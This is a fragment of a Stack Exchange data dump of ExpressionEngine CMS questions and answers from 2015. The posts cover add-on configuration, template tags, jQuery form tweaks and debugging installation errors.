  <row Id="32533" PostTypeId="2" ParentId="32532" CreationDate="2015-08-04T23:47:39.787" Score="0" Body="&lt;p&gt;Buddy pal, probably your best option is to craft yourself an extension that does a redirect. I would use one of the top three hooks on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll give you an example, but I'm not entirely sure if it will work (you do know how to make your own extensions, correct?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook to this thing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;member_member_login_single($hook_data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And have your extension method look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_extension($hook_data)&#xA;{&#xA;    // lets get out of here!&#xA;    ee()-&amp;gt;functions-&amp;gt;redirect('where/we/going');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might not be that exact hook, but one of them should be triggered before the redirect to the &quot;Thank you&quot; page.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-04T23:47:39.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32534" PostTypeId="1" CreationDate="2015-08-05T00:05:44.083" Score="1" ViewCount="121" Body="&lt;p&gt;I am new to EE and am faced with an issue on a clients site. They have two radio buttons that are in their code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$('#shippingAdd').hide();&#xA;$(&quot;input[name=use_billing_info]:radio&quot;).change(function() {&#xA;    if ($(this).val() === 'y') {&#xA;        $('#shippingAdd').hide();&#xA;    } else {&#xA;        $('#shippingAdd').show();&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set the radio button to default to 'y' being selected? How do I change this? If setting a default value is not a viable option is it possible to change this to a pulldown menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure exactly how the above code works. Any feedback/advice would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-10-04T04:05:05.767" Title="Default Value Radio Button and Form Question" Tags="|forms|" AnswerCount="1" CommentCount="1" ClosedDate="2021-06-21T18:57:31.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="32535" PostTypeId="2" ParentId="32534" CreationDate="2015-08-05T00:35:26.737" Score="-1" Body="&lt;p&gt;I mean no offense, but if you don't understand the code you pasted, you should not be the person editing your clients code. It's extremely simple jQuery stuff. I'm serious; tell your client to hire a developer. You are doing them a disservice by trying to solve issues you aren't capable of solving. I'm sorry if that comes out harsh but as professional developer, this kind of activity makes me turn away clients all the time; shoddy work always means clients not returning to your business. This is also a developers forum which is why I gave you that speech; this isn't a help center or tutorial site for self-trained devs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that said, I'm still going to help you. This code should be added just before the &lt;strong&gt;end&lt;/strong&gt; of your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function(){&#xA;    // when our document is ready, set that input to 'y'&#xA;    $(&quot;input[name=use_billing_info]:radio&quot;).val('y');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-05T00:35:26.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32536" PostTypeId="2" ParentId="32504" CreationDate="2015-08-05T02:31:34.650" Score="0" Body="&lt;p&gt;Perfect!  I'm not sure what I was doing wrong before but this worked. Thought I had tried it but apparently without success. I read the documentation early on but evidently I had poor implementation. Thanks for the help. My issue was fixed within minutes.&lt;/p&gt;&#xA;" OwnerUserId="6535" LastActivityDate="2015-08-05T02:31:34.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32537" PostTypeId="1" CreationDate="2015-08-05T02:59:30.087" Score="0" ViewCount="23" Body="&lt;p&gt;Can't find this anywhere, but can you let the user submit their first and last name when registering for membership using Solspace User?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-08-05T13:05:47.063" Title="Solspace User: submit name with registration" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32538" PostTypeId="1" CreationDate="2015-08-05T04:26:54.733" Score="0" ViewCount="91" Body="&lt;p&gt;Is it possible to use Super Search keyword parameter to search for Tags?  I have Super Search and Tags, and I'm trying to include a way to search for tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I had a tag called &quot;space&quot; and I search for Outer Space in the keyword field, I could get &quot;space&quot; as a Tag result.&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2016-06-06T08:58:55.273" Title="Search for Tags with Super Search" Tags="|solspace|supersearch|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32539" PostTypeId="2" ParentId="19723" CreationDate="2015-08-05T09:58:51.283" Score="0" Body="&lt;p&gt;Same thing happened to me. A possibility is you didn't copy the config folder to the live version of your website. The routes.php file has some new code which is necessary to enter the control panel like you are used to.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-08-05T09:58:51.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32540" PostTypeId="2" ParentId="12292" CreationDate="2015-08-05T10:01:04.570" Score="1" Body="&lt;p&gt;Use the parameters admin_notify, admin_notification_template as well as notify_admin=&quot;yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-08-05T10:01:04.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32541" PostTypeId="1" AcceptedAnswerId="32583" CreationDate="2015-08-05T10:15:28.060" Score="0" ViewCount="60" Body="&lt;p&gt;I've just upgraded a client from Expresso Store V1.6 to V2. They use Paypal Express.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously the Store would list the order number as a line item in the paypal invoice, but now it lists the products and doesn't mention the store order number.  They have requested this back as they use this order number to reference payments and deliveries, also sometimes people pay with cards not in their name so using the order number avoids confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2015-08-10T04:04:02.860" Title="Expresso-store How to view order ID in paypal invoice" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32542" PostTypeId="2" ParentId="32537" CreationDate="2015-08-05T13:05:47.063" Score="1" Body="&lt;p&gt;I see in the doc where any custom field is support by using the short name. I didn't realize first and last was a custom field and thought it was standard. Must have been created when I install Social Login Pro. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-08-05T13:05:47.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32543" PostTypeId="2" ParentId="32511" CreationDate="2015-08-05T13:39:33.297" Score="1" Body="&lt;p&gt;It depends on your sites primary purpose. Either you have content that is supported by a forum to discuss the content or you have a forum that has some additional content to support the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the later then the forum is more important that the content and the functionality of the forum will be paramount. In that case the EE forum might not be the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the forum is there to support your content then the EE forum is plenty fine for doing the job and yes do use scaffold - it will make getting the forum looking right a whole lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way whatever forum set up you go for you will have a shed load of work to do to get it just right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck.&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2015-08-05T13:39:33.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32544" PostTypeId="1" AcceptedAnswerId="32545" CreationDate="2015-08-05T15:10:54.290" Score="0" ViewCount="85" Body="&lt;p&gt;I'm using the standard EE 'Textarea (Rich Text)' field (on EE 2.10.1), but no matter what I put in the 'Textarea Rows' field, when viewing the field in the control panel it's only around 150 pixels tall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can of course drag the bottom right hand corner of the field to make it display more of its contents but it's a pain to have to do this each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known bug or is there a way to get this field to display deeper?&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2015-08-05T15:28:33.040" Title="How to make the Rich Text area larger?" Tags="|custom-fields|fieldtype|fields|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32545" PostTypeId="2" ParentId="32544" CreationDate="2015-08-05T15:28:33.040" Score="1" Body="&lt;p&gt;Have you inspected the field using your developer console? Oh, and FYI, this isn't an EE question. Textarea rows constraint has &lt;strong&gt;nothing to do&lt;/strong&gt; with styling, just how many rows are allowed to be typed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Want a different height? You need to style it with CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;textarea {&#xA;    height: 666px;&#xA;    width: 999px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/cp-css-js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to add custom CSS to your Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-05T15:28:33.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32546" PostTypeId="1" AcceptedAnswerId="32568" CreationDate="2015-08-05T15:53:54.100" Score="0" ViewCount="164" Body="&lt;p&gt;When trying to install either FreeForm Lite OR FreeForm Pro version 4.2.3, the following database error occurs, making it impossible to install the plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no references to any tables within the database so it's trying to delete something which doesn't exist and failing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine version 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'staging_camden_brewery.exp_freeform_fieldtypes' doesn't exist&#xA;&#xA;DELETE FROM `exp_freeform_fieldtypes` WHERE `default_field` = 'y'&#xA;&#xA;Filename: third_party/freeform/models/freeform_model.php&#xA;&#xA;Line Number: 538&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2015-08-07T14:27:22.000" Title="FreeForm installation Error - Table 'DATABASE.exp_freeform_fieldtypes' doesn't exist" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32547" PostTypeId="2" ParentId="32532" CreationDate="2015-08-05T16:34:05.130" Score="1" Body="&lt;p&gt;EDIT: Whoops, I see you are already aware of Freemember and don't want to use another add-on. I think that, or a custom add-on as jrothafer mentioned (still another add-on!) is the way to go. Or as Mark mentioned, you can style the system message templates. &lt;em&gt;CP  &gt; Design &gt; Message Pages &gt; User Messages&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you're open to installing an additional add-on, &lt;a href=&quot;https://github.com/devdemon/freemember/blob/master/docs/login_tag.md&quot; rel=&quot;nofollow&quot;&gt;Freemember's login tag&lt;/a&gt; bypasses the interstitial &quot;Thank you, you are now logged in&quot;  EE system message page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freemember also has lots of other useful features, including an improved forgot/reset password flow. You can use Freemember and Solspace User on the same install.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-08-05T16:34:05.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32548" PostTypeId="2" ParentId="9047" CreationDate="2015-08-05T18:02:44.167" Score="0" Body="&lt;p&gt;If you changed your database access passcode (server, MySql admin, hosting company interface, etc.), you will need to change the original passcode in the database.php file.&lt;/p&gt;&#xA;" OwnerUserId="6542" LastActivityDate="2015-08-05T18:02:44.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32551" PostTypeId="2" ParentId="32538" CreationDate="2015-08-05T19:12:29.807" Score="0" Body="&lt;p&gt;Yes, you can search for Solspace Tags in the &lt;code&gt;keywords&lt;/code&gt; field. From the documentation (&lt;a href=&quot;https://solspace.com/docs/super_search/search/#keywords&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/search/#keywords&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The keywords field allows your users to perform a search on across all entries on your site. By default, keyword searches look into all searchable custom fields and titles. Please make sure that each custom field is marked as searchable in the custom fields' settings in the EE CP. Search terms are inclusive (so all words searched on must be present in the entry to show up as a valid result), search on words within words (a search for cat could return caterpillar), &lt;strong&gt;and also search into Solspace Tag add-on tags (if installed)&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-05T19:12:29.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32553" PostTypeId="2" ParentId="32417" CreationDate="2015-08-05T22:23:17.993" Score="0" Body="&lt;p&gt;A white screen is 99% always a PHP error being suppressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'd try.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;FIRST, make sure this is set in your control panel's index.php or admin.php file to ensure you're seeing errors. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$debug = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, set this in your config file just to be thorough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['debug'] = '1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NEXT, add this code to your config file and retest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the error displays, it''ll point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If no error, set the extensions back to being &quot;enabled&quot; and add this code to your config file and retest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're able to get into the entries, then there is something inside the entry copy that EE is objecting to and you'll need to track down what that is. You can track it down by going into the database and manually removing the copy for each field specific to that entry and retesting. Once you find the field, you'll need to narrow down to the actual copy. I've had this happen with URLs that contain certain weird character combinations. EE doesn't run certain checks on SuperAdmin users which is why SuperAdmin can open the entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Sometimes enabling debug isn't enough because an addon will turn off errors after the config file is loaded. Previously, I've had to edit the control panel's index.php or admin.php file to remove the conditional which shows/hides errors. I replaced it with the following code to show errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;error_reporting(E_ALL);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I had to search all the EE files, including the 3rd party files, to find any other reference to errors display. Use the search term &quot;error_reporting&quot; for the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not seeing an error, I'd say confidently something in code is suppressing it. It's probably an addon.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If all else fails, search all the EE files for &quot;group_id&quot; and &quot;admin_sess&quot;. You're looking for any conditionals for the member group &quot;1&quot;. Look at each conditional and if you can find the one that is stopping your entries from loading.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-08-05T23:11:40.910" LastActivityDate="2015-08-05T23:11:40.910" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32554" PostTypeId="1" AcceptedAnswerId="32640" CreationDate="2015-08-06T00:01:04.513" Score="1" ViewCount="65" Body="&lt;p&gt;EE 2.10.1&#xA;Stash 2.6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to set up some shortcodes using Stash on a rebuild of my site where I formally was &lt;a href=&quot;http://caffeinecreations.ca/blog/front-end-syntax-highlighting-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;using MX Jumper to do the same thing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code works fine except that the last instance of the shortcode always outputs &lt;code&gt;home&lt;/code&gt; on the front end inexplicably&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is where {code_sample} is a grid field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;    //Stashing code blocks to inject into blog_copy&#xA;--}&#xA;&#xA;&#xA;{code_sample}&#xA;    {exp:stash:set name=&quot;code_block_{code_sample:count}&quot; type=&quot;snippet&quot;}&#xA;&#xA;            {code_sample:code}&#xA;&#xA;     {/exp:stash:set}&#xA;{/code_sample}&#xA;&#xA;{!--&#xA;    //End Stashing code blocks&#xA;--}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then further down the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {blog_copy}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is more than one code block then the final code block always renders as &lt;code&gt;home&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--------update---------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template debugging shows this as the final output, which is correct but still on the front end it displays &quot;home&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.195359 / 8.31MB) Stash: SET code_block_9 to value {exp:ee_syntax:filter} &amp;lt;pre lang=&quot;php&quot; line=&quot;3257&quot;&amp;gt; $field_id = $this-&amp;gt;get_field_id($field_name); ee()-&amp;gt;api_channel_fields-&amp;gt;apply('_init', array(array( 'row' =&amp;gt; $this-&amp;gt;entry, 'content_id' =&amp;gt; $this-&amp;gt;entry('entry_id'), 'field_id' =&amp;gt; $field_id ))); &amp;lt;/pre&amp;gt; {/exp:ee_syntax:filter}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if I put this code in the template without stash all grid rows are output correctly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{code_sample}&#xA;&#xA;        {exp:ee_syntax:filter}&#xA;            {code_sample:code}&#xA;        {/exp:ee_syntax:filter}&#xA;&#xA;        &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;{/code_sample}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-----end update-------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----update 2-------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with a new template with nothing in it but the layout tag and channel entries I have determined that this stash code does not play well when passing variables through the layout tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;site/_layout&quot; body_id=&quot;home&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout:set name=&quot;body_id&quot;}blog{/layout:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using either of those results in the final code block outputting whatever is being passed through in the layout tag. Changing the passed variable name doesn't fix this issue either. Not sure if this is a Stash bug or an EE bug or both...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----end update 2-------&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-08-11T21:59:52.597" LastActivityDate="2015-08-12T15:27:33.760" Title="Stash Shortcodes - last one outputs &quot;home&quot;" Tags="|stash|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32556" PostTypeId="1" AcceptedAnswerId="32663" CreationDate="2015-08-06T10:39:21.810" Score="0" ViewCount="78" Body="&lt;p&gt;I'm going down the classic route of 2 sites within 1 install for a client who has a multi-lingual site with Transcribe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those not familiar with that approach, &lt;a href=&quot;http://supergeekery.com/geekblog/comments/how_to_make_a_mobile_version_of_your_site_with_expression_engine_2&quot; rel=&quot;nofollow&quot;&gt;here's the background&lt;/a&gt;. What we're doing though is routing all foreign language content through different domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach kind of works but if, for example, I edit the home page template, the primary domain gets updated but the secondary doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed this down to the template path. If I add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['tmpl_file_basepath'] = '/Users/steven/Sites/ee/multilang.dev/public/assets/templates';  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to index.php on the secondary domain, it works as I'd expect. I edit the home page template and both sites update. My issue though is that the template path will change depending on the server configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the main config file, we're setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_path = $_SERVER['DOCUMENT_ROOT'];&#xA;$config['tmpl_file_basepath']   = $base_path . &quot;/../_templates/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how I can change the config to work across servers? &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-08-13T21:46:33.367" Title="running 2 sites on 1 installation" Tags="|templates|config|multilingual|config-overrides|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32557" PostTypeId="1" AcceptedAnswerId="32558" CreationDate="2015-08-06T11:13:52.223" Score="0" ViewCount="26" Body="&lt;p&gt;We're using Store 2.5.0 and EE 2.9.2.  On the checkout page we're showing the value of any modifiers using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price_mod_val}({price_mod}){/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's returning the value of the modifiers ok, but it's also displaying +0.00 if the modifier is empty.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to not show the modifier value if it's 0?&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2015-08-06T13:21:29.883" LastActivityDate="2015-08-06T13:27:54.143" Title="Expreso Store - Don't show modifier price if zero" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32558" PostTypeId="2" ParentId="32557" CreationDate="2015-08-06T12:31:19.880" Score="1" Body="&lt;p&gt;I would say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price_mod_val &amp;amp;&amp;amp; price_mod_val != &quot;+0.00&quot;}({price_mod}){/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-08-06T13:27:54.143" LastActivityDate="2015-08-06T13:27:54.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32559" PostTypeId="1" AcceptedAnswerId="32560" CreationDate="2015-08-06T14:23:10.143" Score="0" ViewCount="56" Body="&lt;p&gt;Is it possible to have an .ics file to download a single event in a calendar?  right now downloading the .ics downloads the entire calendar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar&#xA;event_id=&quot;{segment_3}&quot; dynamic=&quot;on&quot;&#xA;{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured something like the above would only export the one event using the dynamic on and event id but it downloads the entire calendar&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2015-08-06T14:45:32.743" LastActivityDate="2015-08-06T14:54:50.097" Title="Solspace Calendar ICS for single event" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32560" PostTypeId="2" ParentId="32559" CreationDate="2015-08-06T14:54:50.097" Score="1" Body="&lt;p&gt;Well..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/icalendar/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/icalendar/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All of the parameters listed in Calendar:Events are available for use here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and then..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/events/#event_id&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/events/#event_id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried hard coding a known (and &lt;strong&gt;open&lt;/strong&gt;) event_id?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-06T14:54:50.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32561" PostTypeId="2" ParentId="32546" CreationDate="2015-08-06T15:12:24.103" Score="0" Body="&lt;p&gt;I'm having the same error.  Interestingly I can install it on my local MAMP install, but not on the staging site, so it could be an environment issue.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2015-08-06T15:12:24.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32562" PostTypeId="1" CreationDate="2015-08-06T17:31:54.297" Score="0" ViewCount="147" Body="&lt;p&gt;I am using channel form to create a new entry in my gallery and use {field:gallery_images} to display the channel images field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the form when I try and click on the upload images button nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:clubmanager:club}   &#xA;                     {exp:channel:form channel=&quot;gallery&quot; return=&quot;clubhouse/gallery&quot; class=&quot;sky-form&quot; }&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;gallery_club&quot; value=&quot;{club_name}&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;gallery_club_url&quot; value=&quot;{club_url_title}&quot;&amp;gt;&#xA;                    &amp;lt;fieldset&amp;gt;   &#xA;                      &amp;lt;section&amp;gt;&#xA;                            &amp;lt;label class=&quot;label&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;                        &amp;lt;/section&amp;gt;&#xA;&#xA;                         &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                           &amp;lt;fieldset&amp;gt;  &#xA;                            &amp;lt;section&amp;gt;&#xA;                            &amp;lt;label class=&quot;label&quot;&amp;gt;Images&amp;lt;/label&amp;gt;&#xA;                                {field:gallery_images}&#xA;                            &amp;lt;/section&amp;gt;&#xA;&#xA;                            &amp;lt;/fieldset&amp;gt;  &#xA;&#xA;                            &amp;lt;footer&amp;gt;&#xA;                                &amp;lt;button type=&quot;submit&quot; class=&quot;btn-u&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;                            &amp;lt;/footer&amp;gt;&#xA;                        {/exp:channel:form}&#xA;                        &amp;lt;!-- End Publish Report Form--&amp;gt;&#xA;&#xA;             {/exp:clubmanager:club}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2016-05-28T08:08:58.547" Title="Cannot upload a photos (channel images) when using Channel Form" Tags="|safecracker|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
